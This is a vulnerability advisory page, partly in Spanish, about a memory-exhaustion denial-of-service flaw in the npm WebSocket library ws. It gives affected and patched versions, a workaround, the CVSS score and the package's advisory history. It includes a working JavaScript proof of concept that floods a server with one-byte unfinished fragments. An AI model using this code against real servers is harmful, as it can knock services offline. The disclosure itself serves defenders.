Alta

ws: Memory exhaustion DoS from tiny fragments and data chunks

Publicada: 15.06.2026
Actualizado: 11.10.2026 10:22

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Software afectado

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Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	ws	>= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0	5.2.5, 6.2.4, 7.5.11, 8.21.0

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-1050, CWE-400, CWE-770
Plataforma: npm
Paquete: ws
Publicada: 15.06.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-96hv-2xvq-fx4p - CC BY 4.0

Historial de vulnerabilidades: ws

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 7
Primera → última: 02.2019 06.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 4
Media 2
Baja 1

Divulgaciones por año

2019: 3
2020: 0
2021: 1
2022: 0
2023: 0
2024: 1
2025: 0
2026: 2

15.06.2026

ws: Memory exhaustion DoS from tiny fragments and data chunks esta entrada

Alta · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
18.05.2026

ws: Uninitialized memory disclosure

Media · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
17.06.2024

ws affected by a DoS when handling a request with many HTTP headers

Alta · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
28.05.2021

ReDoS in Sec-Websocket-Protocol header

Media · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
04.06.2019

Denial of Service in ws

Alta · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
18.02.2019

DoS due to excessively large websocket message in ws

Alta CVE-2016-10542 < 1.1.1 1.1.1
18.02.2019

Remote Memory Disclosure in ws

Baja CVE-2016-10518 < 1.0.1 1.0.1

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